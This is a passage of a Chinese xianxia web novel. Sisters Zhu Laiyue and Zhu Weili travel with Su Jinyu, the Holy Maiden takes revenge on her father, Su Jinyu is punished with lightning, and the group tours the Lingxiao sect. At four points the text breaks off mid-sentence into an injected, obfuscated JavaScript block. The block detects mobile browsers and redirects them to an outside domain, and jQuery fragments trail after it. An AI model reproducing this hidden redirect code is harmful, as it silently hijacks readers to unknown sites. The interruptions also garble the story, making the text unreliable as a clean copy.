突然,聂棋缘喊了声贺大哥,声音十分焦急。众人的目光都被她吸引过去,才发现贺今羽昏倒了。她伸手替他把脉,又松了口气,“只是有些过劳,没事。”
而祝来月才醒来,身子依然有些虚弱。安顿好她和贺今羽后,聂棋缘回了房,祝未璃则是跟着邱水怜离开了客房之处。
直到云间阁外,走在前面一言不发的邱水怜突然停步,说道:“你真认为我会杀你?”
“圣女何意?”
“既然令姐转醒,你们明日便离开琼心门吧。”
自始至终,她从未打算真要杀了他们其中任何一人来换命。
“我和她当真不是姐妹么?”祝未璃心中仍然没能过去这个坎。
“这要看你自己。”邱水怜说完,便走进了云间阁。
清晨,芷儿奉命送四人出谷。
入谷时须得是朝阳时分,出谷的时间倒是并无要求。
“此事算是灵霄宗欠我们琼心门的人情,将来是要还的。”芷儿一边带路一边说道。
在出了琼心门之后不远处,便有一个木亭,亭中有一阵法,正是出入谷所用。
四人跟随芷儿进入阵法,芷儿一挥手,几人眼前的景致忽然变换,来到了一座山峰顶上的木亭内。
祝来月见状不禁心生好奇,这样的阵法并不多见,想必琼心门所钻研的不仅仅是心术和香术。
几人谢过芷儿之后,她便从阵法再次回了谷内。
“不是说唯有朝阳时分从山顶跃下才能入谷么?”聂棋缘不解道。
但芷儿已经离去,她只好暂且搁置这个疑问。
几人正欲下山,转身却见林中走出一个衣着褴褛,神情疯癫的老道士,那道士唤出藏在他们身上的虫妖,说道:“多谢诸位为我老道试验入谷之法,此份恩情老道没齿难忘。”
“什么?你利用我们?”聂棋缘一听他的话,立刻就炸了毛。
“谈何利用呢?诸位不是也达成了自己的目的吗?”疯道士哈哈大笑,称她荒唐。
聂棋缘将双手环抱在胸前,眼神鄙夷地看着疯道士。
几人正准备不理会这疯道士,直接下山时,从亭内走出了一人。
她说道:“贼心不死。”
来人正是琼心门的圣女邱水怜。
疯道士忽然一改疯癫的神情,脸上堆满笑意,甚至挤出了几滴鳄鱼的眼泪:“小花儿,真是多年不见了,你可想念爹爹?”
“我已非盛花,而是琼心门门徒。”她脸上宛若冰霜,眼珠微微颤抖,却满是恨意。
疯道姓盛,饥荒那年将女儿卖入花楼,只为换取碎银几两。只是听说女儿后来失踪了,他并未在意。之后未隔多久,疼爱的小儿子患上痨病离开人世。
他遁入道门,自此不问凡尘俗事。直到他因为行为不检被赶出道观,走投无路,这才想起那个失踪的女儿。
经过多年打听,他才知道盛花被传说中的琼心门接了去,如今地位颇高。
他又千方百计地打听来琼心门的位置和入谷的方式,此时已然过去十余年了,他因整日念叨琼心门、修仙之流被世人骂为疯子。
但疯道并不在意,只因他心中唯有找到女儿,然后借她之手领悟天道,以求成仙。
疯道朝着邱水怜冲过去,说道:“小花儿,你难道忘了我曾经养活你十多年了吗?”他伸出两只手,在空中颤抖着。
“我当然不可能忘。”她死死地瞪着这个死皮赖脸的疯道士,“听说世人都说你是疯子,我看不然。”
“俗世之语,爹爹不在乎。”疯道以为她念起旧日的亲情,笑容愈发谄媚。
“因为你根本算不得疯子,你满腹算计,比许多人都精明。”她的语气越发狠戾,突然话锋一转,一字一字地说道:“但很快你就是了。”
只见邱水怜向前击出一掌,将疯道打飞在地,而后飞身来到他的身侧,伸手浮在他的那头乱糟糟的头发之上,然后突然收紧手掌,形成爪状。
疯道面部因充血而变得赤红,目眦欲裂,痛苦地大喊出声。
一旁的四人皆因这突如其来的变故而目瞪口呆。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840346|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“很痛?”邱水怜露出讥讽的神情,“可你远不及我当年千分之一的痛!”
她的脸颊忽有泪水划过,但她并不哀戚。她胸腔强烈地起伏着,呼吸急促,最终冷笑一声,收回手。
而那疯道士终于是名正言顺的疯道士了。
琼心门之人,心力强大,可轻易摧毁敌手的心智,只要这个敌手心智一乱,便是她们功成的信号。
她苦练多年,终于等到报仇雪恨的这一天。
疯道士昏倒在地,邱水怜拂袖转身,对着几人说道:“诸位慢走。”话音刚落,她便从亭中消失了。
几人无心多管闲事,将那疯道就留在原处,自己下了山。
约莫半日,四人来到山脚下的小镇上,找了一家食肆吃了些东西,贺今羽便出发去找卖马车的商铺。
剩下三人留在食肆内,祝未璃见师兄离去,突然开口说道:“姐姐,师兄是不是对你有意?”
这话呛到了正在饮茶的祝来月,“璃儿多虑了。”
但在琼心门内,贺今羽的所作所为实在不能不让她心生怀疑,她接着说道:“那你对师兄是什么看法呀?”
贺今羽是有婚约的,这个是灵霄宗弟子人人皆知之事,若是姐姐也倾心于师兄,之后难免要伤心。祝未璃暗暗想到。
祝来月认真思考一番,坦然回答道:“剑法精妙,有些固执,但诚然是不错之人,值得一交。至于你的想法,璃儿,你真是多想了些。”
这回却是聂棋缘反驳了她,“那是祝姐姐你不了解贺大哥。”她的神色看起来不像是开玩笑,虽然没有看着祝来月,只是趴在桌子上直直地望着前方。
贺今羽一向最怕麻烦,而且从未反抗过父亲的命令。但为了救她,两件原则统统违背了。
没过多久,贺今羽便回来了。马车是替聂棋缘买的,她在这里与三人分别,走之前,她单独找祝来月聊了一会儿。
“祝姐姐,我要回玲珑城了。”
“路上小心些。”
“我想了许久,你说的没错,婚约不算什么,若是我姐姐也对贺大哥无意,我会试着和她一起劝说爹娘取消婚约的。”
之后,祝来月随着贺今羽他们一起前往灵霄山脉,因为宗主已经传唤贺今羽多日,为了尽快赶回去,他们选择了御剑。
又因祝未璃入门不久,若是带着祝来月御剑,速度上便慢了些,便由贺今羽御剑带着祝来月。
三人白日御剑,夜里来到城镇之中住客栈,紧赶了三日,终于在午时赶到了灵霄宗的山门之外。
灵霄山脉,原名维龙山脉,灵霄宗初代宗主于一千多年前选址此地,后来发现此山脉竟然暗藏灵脉,经开发之后,整个灵霄山脉都成了灵力旺盛之地。
因整座山脉的海拔都偏高一些,祝未璃提醒祝来月要备些厚衣,便在附近的城镇提前准备了几件衣裳换上。
但祝未璃和贺今羽倒是用不上,毕竟修炼人士,这种普通的寒冷并不能影响到他们。
守山的弟子见来人是贺今羽,立刻齐声说道:“少宗主。”随后派了一人回去通报给宗主。
26. 幽篁
三人进入山门,没一会儿,就出来许多弟子迎接他们,为首之人乃是除贺今羽外在宗门最有威望的弟子——景怀卿。
他忙走几步,来到三人面前,说道:“今羽,璃儿师妹,你们回来了。祝姑娘,多日未见了。”他依次打招呼。
松山正如祝来月在贺今羽的幻境中见过的那般模样,远望时形似一把巨剑,极其陡峭,以人力徒手爬山是到不了灵霄宗的,唯有御剑或者其他顶尖的轻功之流才能够上去。
然而到了半山腰之上,山壁逐渐变得不那么倾斜,就像是剑柄一样向两侧延展出去。
于是在这上面,灵霄宗建立起会客的大殿、以及□□蓬门、戒律阁等。顶峰之上便是鹤栖一脉弟子的习剑、修炼之所。
祝未璃和景怀卿带着祝来月来到灵霄山脉主峰松山的背面,这里坐落着成群的楼阁,灵霄宗唤其为“□□蓬门”,作为招待外来之宾客所用。
□□蓬门如其名一般,小径两边种了不少新奇的灵花灵草,其中楼阁亦是刻意筑成竹屋的样式,大门以茅草、木材造成,别有一番闲情逸致。
来到其中一处楼阁之内,发现内里装潢和家具一应俱全,既不会太过华贵奢侈,又不会显得小器寒酸。
祝来月在此安顿下来,便对景怀卿和妹妹说:“此来除了想多陪陪璃儿,还有一事相求。”
“祝姑娘但说无妨。”
“关于这木雕残片一事,前些日子去了流织谷亦无线索。思及灵霄宗历史悠久,兴许会有关于它的线索。”
景怀卿微一思考,说道:“宗内有一无涯阁,其中收录了许多法术秘籍,还有一些记载奇花异草、珍禽异兽的册子,但能否查到相关的线索,我也无法向姑娘保证。不过,无涯阁并不允许外人入阁,晚些时候我替姑娘进去查阅吧。”
景怀卿身为鹤栖一脉唯二的亲传弟子,其地位仅次于宗主、四脉长老、戒律长老以及少宗主,有相当大的权力,能查阅的书籍也比普通弟子要多出不少。
祝来月闻言,连忙谢过景怀卿。
他又说道:“姑娘亦可去拜访幽篁、浮玉二位长老,宗内除了宗主之外,便是他们阅历丰富、修为深厚,他们或许能给你些结论。我还有些事务需要处理,不便陪同,让璃儿师妹带姑娘在宗内四处游览吧。”
向两人道别之后,景怀卿便离开了□□蓬门。
祝未璃在他走后,对姐姐说道:“怀卿师兄可忙了,整日除了修炼、习剑以外还要处理宗门事务,还要指导师弟妹们的剑法。我光是瞧着就觉得头疼。”
“宗门事务不该是宗主和少宗主负责处理么?”
璃儿歪着脑袋,那双杏眼里褐色的眼珠转了几圈,托着腮思考了一会儿:“好像是这样的,但自我入门之后,少宗主并未归宗,所以都是怀卿师兄代劳。不过现下他回来了,怀卿师兄也能轻松些。”
祝来月若有所思地点点头,“那我们去拜访二位长老吧?”
“先去找幽篁长老吧。”祝未璃提议道,“虽我入门不久,但听同门讨论长老时,皆说浮玉长老性情怪异,喜怒无常,不大好相处。幽篁长老倒是常常来找师尊,我见过几次,为人很是和善。”
祝来月自然没有意见,便依她所言,前往幽篁里一脉所居的灵霄山脉次峰潇山。
潇山仅次于松山,是整个灵霄山脉第二高的山峰,不过没有松山那样陡峭。整座山上种着各色竹子,最多的是常见的毛竹,还有一些竹身深紫的紫竹和长着深色斑点,形似泪点的湘妃竹等。
潇山之上环境清幽,不时传来或是悠扬、或是凄哀的丝竹之声,很是雅致。
从潇山竹林中的小径前进了一阵,两人来到一片瀑布旁,水流自上而下汇入一片湖泊之内。湖泊的正中央有一楼阁,楼阁底下支着不少竹子,将楼阁悬于水面之上。
楼阁内有不少颜色清丽的帷幔,随风而起,宛如仙境。
“此阁便是幽篁长老的居所,叫做浮碧榭。”祝未璃介绍道。
“果然十分清雅。”祝来月不禁赞叹道。
离湖心的浮碧榭大约有二十余米的距离,祝未璃拉起姐姐,施展轻功轻点水面,溅起点点水花,很快便来到了浮碧榭之内。
站在浮碧榭的帷幔之外,祝未璃抱拳弯腰,道:“幽篁长老,鹤栖弟子祝未璃携外客求见。”
闻得里头传来一声女声说道:“进来吧。”她的声音像是古筝一般空灵悠扬,语气中带着的温婉之意使人倍感亲切。
两人闻声,向前揭开门口的帷幔朝里面走,走过一片片帷幔,她们上了楼梯,来到浮碧榭的二楼,这一层没有墙壁,四周以几根竹子制成的柱子撑起,这些柱子之间挂满了帷幕,一面朝向瀑布的帷幕用绳系起,能看到二十多米之外的瀑布飞流直下的景致。
而在这层楼的中间,摆着一面矮案,案上是一架古朴的筝,上面镌刻着青山悠悠的纹路,是幽篁长老虞莫桐的灵器远山筝。
虞莫桐端正地坐在那架远山筝的前面,她大约四十余岁,脸上细微的几处皱纹藏着岁月的沉淀,使她看上去比祝来月在贺今羽的幻境中见过的模样还要和善睿智几分。
她向这位修为高深、德高望重的睿智女子行礼。许是因为曾经在贺今羽的幻梦中见过她,让祝来月感到一阵亲切。
虞莫桐微微笑着,柔和的目光投向两人,说道:“小璃儿,这位是?”
看来妹妹的同这位长老的关系不错。祝来月察觉到她对璃儿的亲昵称呼。
“这是我……姐姐,有些问题想请您解惑,所以特来拜访。”祝未璃连忙介绍道,唯独在说到“姐姐”二字时顿了一瞬,但最终还是对长老说是姐姐。
“原来你就是小璃儿的姐姐,你在灵霄宗可称得上是名人了。”她的笑意更深,看向祝来月的眼神更加关切,甚至超过了关切,使祝来月有些疑惑。
“长老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840347|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
折煞我了,实在不敢当此名号。”祝来月说道。
“倒非我刻意夸大,你在我宗内诚然是个风云人物。你有什么问题要请教我呢?”她依旧保持着和善的语气。
祝来月取出那块以四块残片融合的木雕残片,双手递给虞莫桐,说道:“不知长老可见过此物?我查找许多书籍也未曾得知这残片的来历,是何种树木制成。”
虞莫桐接过残片,细细观察了一番上面镌刻的奇异的巨树和江流,这位沉稳的中年女子竟然露出惊奇的神色,好半晌,她才缓缓说出:
“抱歉,此事我恐怕帮不到你什么,我亦未曾见过此木。但大抵可以确定的是,此木绝非人界之木,你还年轻,若是将来有缘得道升仙,兴许能找到此物的来处。”
尽管祝来月本也没有怀抱太大的期望,但见这样见多识广的长老亦无法给自己一个答案,仍然还是有些失落。
“多谢长老,您已经帮我许多了。”起码,她现在得知此木并非源于人界某处。
兴许是其余五界之物,但界与界之间往返不易,除了妖界有一个明确的入口,仙界可通过修炼提升境界,再渡过天劫之后便可升至仙界以外,剩下的神、冥、魔三界皆是不知如何去往。
据传,不知多少个一千年以前,神界可通过人界最高之山前往,但如今已经不知此山名曰何山,又地处何处了。再者,即使真找到此山,亦是难以登上神界之路。
自人界有史以来,未有一人到过神界。
至于去往冥界之途,曾在荣州时听狐妖绮罗提起一回,连如此千年之妖都隐隐惧怕,何况她这等没有灵根的凡人?
在祝来月她们离开浮碧榭之后,自楼上走下一人,那人身着灵霄宗统一的月白色长老服饰,面容朗正。
那人行至虞莫桐的身侧,他的目光望着姐妹离去的方向,说道:“原来她就是令少宗主违背命令之人。”
此事本该是个秘密,但是秘密总是不胫而走。
不知是谁、又在哪里打听到贺今羽此次违抗宗主之命,久不归宗的缘由,没几日,整日灵霄宗上下都知道了这个秘密。
所以虞莫桐才说她是个风云人物。
“是啊,那日可把宗主气得不轻,这会儿小今羽恐怕已在戒律阁受罚了。”她的眼眸笼起些许愁云,“阿起,我们去看看小今羽吧。”
被唤作阿起的那人乃是浮玉长老萧起,他摇摇头,说道:“少宗主已然不是孩童,如今脾气同宗主年轻时候极像,关照他反倒使他不自在。”
虞莫桐细想觉得确有道理,便不再提此事,倒是说起祝来月,“这小姑娘果然如传言中般是个绝代佳人,莫说小今羽这样的年轻男子,便是我见了也喜欢得紧。”
一旁的萧起听了,反驳了一句:“我看未必如此,少宗主不是以貌取人之人。”
而他们口中的贺今羽,也确实如他们所说那般,正在主峰松山的戒律阁内领罚。
27. 雷刑
戒律阁内,除了贺今羽之外,还有宗主和戒律长老二人。贺今羽板正地跪在地上,目视前方,面不改色。
“雷刑。”
宗主贺仞口中冷冷地吐出这两个字,就连一旁的戒律长老都因此一惊,连忙劝道:“宗主,少宗主虽然有错,但罪不至此,这样是否……”
不等他说完,贺仞摆手制止了他继续说下去。
“若不施以严诫,逆子恐怕不长记性。”说罢,他一挥手,戒律阁的大门随之打开,又对着贺今羽厉声命令道:“你自去霹雳引领罚!”
霹雳引是弟子受罚之地,处于松山顶峰的悬崖边上,那里竖立着一块巨石,流淌着紫色的雷光。霹雳引周边围了一圈禁制,防止弟子误入被雷石所伤。
此法原是惩戒犯下大过的弟子,按理说,贺今羽犯下的错远不至于受雷刑。
“是。”他的话语中不带有感情,起身后,自行来到了松山之巅,走向霹雳引,引来一众弟子围观。
顶峰之上刮着大风,虽然人界已然入夏多日,但此地海拔奇高,仍旧寒冷刺骨。
“少宗主又被宗主大人罚了。”
“不过是迟了半月未归,竟然施以雷刑。幸亏我不是宗主大人的弟子。”
“就你那资质便是想当都不行,景师兄尚且不论,你没见那新入门的小师妹吗?一月之内,门中除景师兄外已无敌手,所以自请下山去找江湖中的佼佼者切磋,竟未败过一回!”
“你说少宗主分明是我辈之中最有天赋之人,为何宗主大人仍不满意?”
“听说是因为那只凶兽……”
他对着迎面而来的风,笔直地走向受罚之地,并不在意诸多师弟妹们的言语。
他以少宗主的令牌打开了霹雳引之外的禁制,走进去之后,禁制便自己合上了。
贺今羽身上的服饰还未换成少宗主的服饰,一身玄色,立于雷石之前,食指与中指并拢,朝着那颗巨大的石头射出一道灵力。
雷石顿时紫光闪烁,仅一个呼吸之间,一道雷破空而来,直劈向贺今羽。
他后背的衣衫顿时被劈开一个口子,露出其中因雷击而灼伤皮开肉绽的伤口,他腿脚一软,以白羽剑支在地面,勉强保持不倒。
空气中传来浓浓的血腥味和烧焦味,众多弟子甚至不忍再看,纷纷扭头,胆小者默默地离开了此地。
第二道雷没有间隔太久,再次猛地劈下。
贺今羽身形一震,吐出一口鲜血。
紧接着便是第三道、第四道。
因受刑过程中不可使用灵力护体,他只能以纯粹的肉身去承受这七道雷刑。
为了避免晕过去,他死死地睁着眼睛,感受身上传来的剧痛。
第五道、第六道雷刑已过,他几乎到了极限,只盼望着能尽快结束第七道。
十九年来,这是头一次亲身体会雷刑的滋味,从前只是见过一些犯了大错的弟子受罚,只未曾想过这道刑罚也能用在自己身上。第一次雷刑正好对上他头一回违背父命。他忽然有些想笑,可实在是太痛,他笑不出来。
第七道、亦是最后一道雷刑劈下时,他终于支撑不住,向前倒去。
这时,远远走来两人,其中一个便是他的父亲、灵霄宗的宗主贺仞。
“你们都很闲吗?”宗主身旁的戒律长老大喝一声,惊走了全部围观的弟子。
两人行至禁制之外,此时雷刑已经结束,雷石也不再召唤雷罚来,贺今羽趴在地上,尽力保持着清醒。
“聂家家主半月之前与我商议你的婚约之事,一致认为应当尽快完成婚事,所以急召你回宗。谁知你这逆子竟然抗命不从,如今可知错了?”贺仞看向趴在地上,后背血肉模糊的贺今羽,冷冷地说道。
“我……我不愿……”
风中传来气若游丝的三个字,他甚至没有力气抬起头看着他们,只是反复说着同样的三个字。
仅仅三个字就使得贺仞顿时暴怒,额角凸起青筋,冷声喝道:“执迷不悟!”
从潇山出来之后,祝来月同妹妹再次回到主峰,去无涯阁找到景怀卿,问他是否查到相关的线索。
景怀卿遗憾地摇摇头,“灵霄宗的典籍收录量是整个江湖最全的,若是无涯阁内都没有记载的话,恐怕人界是找不到结论了。”
“多谢。”祝来月说道。
此刻已经是落日时分,景怀卿说道:“师妹,你带祝姑娘回□□蓬门吧,杂役弟子此时大约已经备好晚膳了。”
闻言,两人慢悠悠地走在去往□□蓬门的路上,在高山之上所看到的落日也与平时所见到的不同,看上去是那样的近,照得每个人的身上都散着金灿灿的光芒。
回到□□蓬门时,桌上果然已经摆好了饭菜,还冒着热气。
祝来月和祝未璃相对而坐,她察觉妹妹近日与平时有些不大一样,总是沉默和出神,像是有心事一般。
“怎么了?”祝来月一面说着,一面将桌子上她爱吃的糖醋小排夹到她碗里。
“没事呀。”她扬起脸,将那块小排吞到嘴里,腮边鼓起一个小包,勉强微笑着。
祝来月怎么会不了解妹妹的谎言?她一副了然地模样看向祝未璃,“璃儿何必瞒我?”
祝未璃又低下头,用筷子扒着碗里的米粒,翻过来又覆过去。一会儿,她突然决意开口:“其实在琼心门那日,圣女说要进入魇境救你之人唯有两种,其中一种是血缘至亲。”她说到此处,忽又止住不说,只是看向坐在对面的祝来月。
“你都知道了。”
“你一直都知道?”祝未璃在听完她的话之后忽然有种被背叛的感觉,“但你从未对我说过,一直瞒着我。”
“璃儿,你别着急。”她连忙放下碗筷,坐到她身边去揽过她的肩膀,安抚着她,“我亦是无意之中得知我是并非娘的亲生女儿,没告诉你是因为我以为血缘并不能影响我们之间的亲情,即使我和你流着不同的血,我还是你的姐姐。”
祝未璃久久不发一语,好半天,她才将头倒向祝来月的怀抱,闷闷地说着:“当真吗?”
她揉揉妹妹的头,轻声笑着说道:“当真。”
另一边,少宗主的居所。
景怀卿站在门口,叩门,说道:“是我。”他的手中拿着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840348|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两瓶药,大约几刻钟之前,他得知贺今羽已经受完罚回了居所,便取了伤药来看他。
“进来吧。”里边传来贺今羽的声音。
于是景怀卿推门进去,寝殿之内飘荡着一股血腥气息,他一踏进去就不禁皱眉,看见贺今羽在地上打坐,便走了过去:“师尊这些天确实气极了,难免罚得重了些。”
贺今羽并未回话,只是闭着眼睛运转功法,以此疗伤。
景怀卿将带来的伤药置于案上,说道:“听说你吩咐师弟妹们不要将你受罚的事传出去,是不想让她为此自责吗?”
他睁开眼睛,神情不冷不热,“不是。”
“师尊急召你回宗一事与联姻有关,你既已知道,有什么打算吗?”见他迟迟不回答,景怀卿又问道:“止吴山分别那日,你说对她无意,现下是否改了心思?”
即使他没有说出她的名字,贺今羽还是明白他指的是谁。但他没有回答这个问题,而是回答了景怀卿的上一个问题,“父命不可违。”
景怀卿立马反驳道:“可你已经违背了一回。”
“这不一样。”
“在我看来,这是同一件事。半月之前,师尊传信给你时应当对你说了有关联姻,你违背他的命令,难道没有一分不愿联姻的意愿吗?”
景怀卿说完,见他沉默,便也不再多说,走之前,最后说了句:“记得服药。”
夜幕低垂,松山的夜空遍布星辰,那些星辰像是极其近,仿佛一伸手便可触及,然而它又与人界隔着千万的距离。
贺今羽隐约看见前面有一个人,那人牵着他的手,同他一起奔跑在一片望不到头的草原之上。那人随风而起的青丝几乎快要拂过他的脸颊,他闻到熟悉的桃花香。
他想着再跑得快一些,走到那人的前边,看清她的模样,然而无论他如何加快脚步,都没能看清那人的模样,直到他停下步伐,站在原地,看着那人远去的背影。
她似有察觉般,在距他几步的地方也停下了脚步,当她要扭过头的时候,贺今羽忽然被一阵敲门声惊醒。
原来是梦。
他起身都有几分吃力,穿上了少宗主的服饰之后,他走至门口开门,看到那张在梦中没能看清的面孔。
“祝来月。”他说道。
不知出于什么原因,他忽然有种心事被戳穿的怪异感受,眼神闪躲着她那机智玲珑的目光。
与他的闪躲相对应的是祝来月一如既往的坦然微笑,“贺今羽,我想请你一同在灵霄宗内游览风光,不知你今日可有空闲?”
“嗯。”他冷淡地说道,“你去大殿门口等我吧。”
说罢,他关门回到寝殿之内,对着铜镜开始梳洗,平日常常束起的长发,今日竟然任其垂落下来,在背后随意地挽了一个结。
完毕之后,他反复看向镜中的自己,确认这样看上去不会显得怪异,才放心地出了门,前往约定之地。
到达大殿外后,他看见那个倩丽的身影,不自觉地加快了脚步。
这时,祝来月的身后突然冒出一个身影,那人语气欣喜地说道:“师兄,你也来了呀。”,
28. 游览
松山之上,灵霄宗的大殿外,站着祝来月和祝未璃两人,贺今羽的神色在看到她们时变得有些不自然起来。
祝来月听到妹妹向他打招呼,便也转身,看向来人,说道:“你今日怎么没有束发?”她敏锐地注意到熟悉之人的微小变化,觉得有几分新奇。
“今日不想束发。”他淡淡地回答道,仿佛这是一件极其理所当然的事。
他的话音刚落,景怀卿也走了过来,“既然人齐了,我们出发吧。”他自然也注意到贺今羽的全新发型,一边说着,一边暗暗笑他。
自半年之前,止吴山一别之后,四人再没像今日这般聚到一起了。
祝未璃显得格外兴奋,走在前头,向姐姐介绍他们今日游览的第一个目的地:礼山,浮玉一脉。
因她入门时间不过半年,再加上整日除了修炼就是练剑,再者便是下山去切磋,所以她也没能好好逛过一回灵霄山脉,只是大约知道四脉分别在哪座山峰之上罢了。
前往礼山的方法也极简单,都是剑修,自然是御剑。
但祝来月毕竟不会御剑飞行,祝未璃便自告奋勇地要带着姐姐。
不出一刻钟,四人便齐齐来到了礼山的山脚处。
礼山被历代的浮玉长老布下阵法,常年笼罩在一片浓雾之中,能看见的范围很是有限。
自从知道灵霄宗有一脉是阵修之后,祝来月便一直期待着能来到这里,她对阵法很有兴趣,不需要太高深的修为也可以布阵,再加上其中五行之道更是精妙绝伦。
若是能有机会,她倒是真想见见那个性情古怪的浮玉长老。
可惜萧起不见外客,便是少宗主也改不了他的这一惯例,祝来月只好作罢。
自山脚往上走时,常能遇到不少浮玉一脉的弟子,他们在浓雾之内穿梭,似乎根本不因可见度有限而苦恼,显然是走惯了这路。
他们在看见贺今羽他们时,也会上前行礼,接着又聚到一块去讨论祝来月这个外来之人。
“她是谁呀?”
“能和少宗主他们走到一块去的,莫非是那个……”
“昨日阿井跟我说她和少宗主一起回的宗我还不信,看来那传闻真是有些可信度的。”
“可不是么?”
他们在祝来月他们走远之后才轻声讨论着,避免被少宗主听到之后被罚。
走着走着,祝来月发现有一处小亭之中,地上摆着大小不一的各色石子,走近看时,发现是一块残缺的阵盘。
她仔细观摩一番,越看越觉得不对,于是祝来月蹲下身去,挪动了其中的几块石子,使阵盘的全貌都改变了。
这时,亭内灵力大作,形成了一个聚灵之阵。
聚灵阵是每位阵修的入门之阵,但聚灵阵与其他的大多数阵法有着根本之处的区别。
其余阵法大多划分为天、地、玄、黄四级,而聚灵阵不同,它囊括了天地玄黄,分为黄级聚灵阵、玄级聚灵阵,以此类推,还有地级和天级的聚灵阵。
越是厉害的阵修,便能布下更加厉害的聚灵阵。所以聚灵阵也被视作划分阵修实力的阵法。
突然从亭外的浓雾之中钻出一名身着浮玉弟子服饰之人,他神色激动,语气支吾地说道:“祝姑娘,你竟然能布下地级聚灵阵,此阵困了我数日,再不完成,长老就要罚我去给鹤栖的师姐师兄们洗剑了。”
“你认得我?”祝来月问道。
那名浮玉弟子连连点头,说道:“止吴山那日,我们见过的。”
祝来月看着他的脸,仔细回想,但并没有任何印象。
一旁的景怀卿便说道:“霍师弟乃是半年前下山历练的众弟子之一,被罗平鸟俘去作人质过。”
听他这般描述,祝来月终于想起来了,原来是那日他们解救人质之后,又被罗平鸟掐着脖子当人质的倒霉蛋。
他便向祝来月介绍了自己,姓霍名星旗,浮玉弟子,入门已经三年半,算是浮玉这一辈弟子中的佼佼者。奇怪的是,这位倒霉蛋浮玉弟子霍星旗在面对祝来月时总是通红着脸颊,又有些语无伦次。
祝未璃终于不能再保持沉默了,她极其熟练地站到霍星旗的跟前,露出一副不耐烦的模样,说道:“这位霍师兄,你没有别的事要做吗?”
霍星旗闻言,挠挠脑袋,愣愣地回答道:“长老这几日给我的课业就是以灵石布置出地级聚灵阵,现下已经完成了,是无事可做了呀。”
小师妹不怀好意地一笑:“那是我姐姐完成的,与霍师兄何干?”她上前,将灵力灌入脚部,伸出腿,呼吸之间,那已经完成的阵法就被祝未璃破坏了。
她再次回到傻了眼的霍星旗面前,嘴角抑制不住的笑容,说道:“你现在有事做咯。”
“璃儿师妹,你又胡闹。”景怀卿见状,赶忙斥责她,又对呆滞了的霍星旗说道:“霍师弟,课业一事确实不可借助他人之手完成,想必浮玉长老知晓也是要责问你的。”说罢,上前去拍了拍师弟的肩膀,以示鼓励。
四人离开后,祝未璃就忍不住吐槽道:“我本来不想破坏阵法的,谁让他觊觎姐姐。”
在止吴山时,祝来月便因她出众的外在受到众多青年男子的爱慕。身为妹妹,她对那群姐姐的爱慕者的神情再熟悉不过了,好多人都是她替姐姐劝退的。
所以,只消一眼,她便瞧出了霍星旗的心思。
四人接着往山上走,走着走着,祝来月听到水流叮叮当当的声响,便同几人朝着水流声行去。
礼山上植被亦是丰茂,经过枝繁叶茂的树林,终于在树影之间看见一条清澈的小涧自山上途径许多怪石嶙峋,往下轻快地流淌着。
此地有不少弟子在此,不过不知出于什么原因,他们在看到贺今羽来了之后便自觉地离开了此地。
此涧因声音清脆、水中有不少观赏性极好的灵鱼之妖而在灵霄宗中很受欢迎。
它还有个清雅之名——歌漾涧。
景怀卿看着走在前边的贺今羽和祝来月二人,突然说道:“我突然想起门中还有些事务没处理完,师妹,我们走吧?”
“啊——可门中事务我从未接触过,帮不上师兄的。”她意犹未尽,显然还想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840349|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多玩一会儿。
“师妹聪慧过人,一定帮得上。”景怀卿语气肯定,说着,便拉着祝未璃离开了歌漾涧。
方才歌漾涧还很是热闹,这三两句话之间,那些弟子和景怀卿他们一起消失了个干净。
被景怀卿扯着离开的祝未璃很是不解,看着他走了没多远,就停步在一棵树后,远远望着歌漾涧的方向,祝未璃顿时领悟了景怀卿这样做的用意。
“师兄,你支开我就是为了给贺师兄和姐姐留出独处的时间?”她顿时皱起眉,满脸不悦,“可是贺师兄分明已有婚约,怎么能再和姐姐……”
他回头,郑重地看向祝未璃,道:“师妹,我理解你对祝姑娘的关切,可我亦有我的缘由,他许多事都没得选,若是连爱谁都不能由心,即便是我也不忍心。”
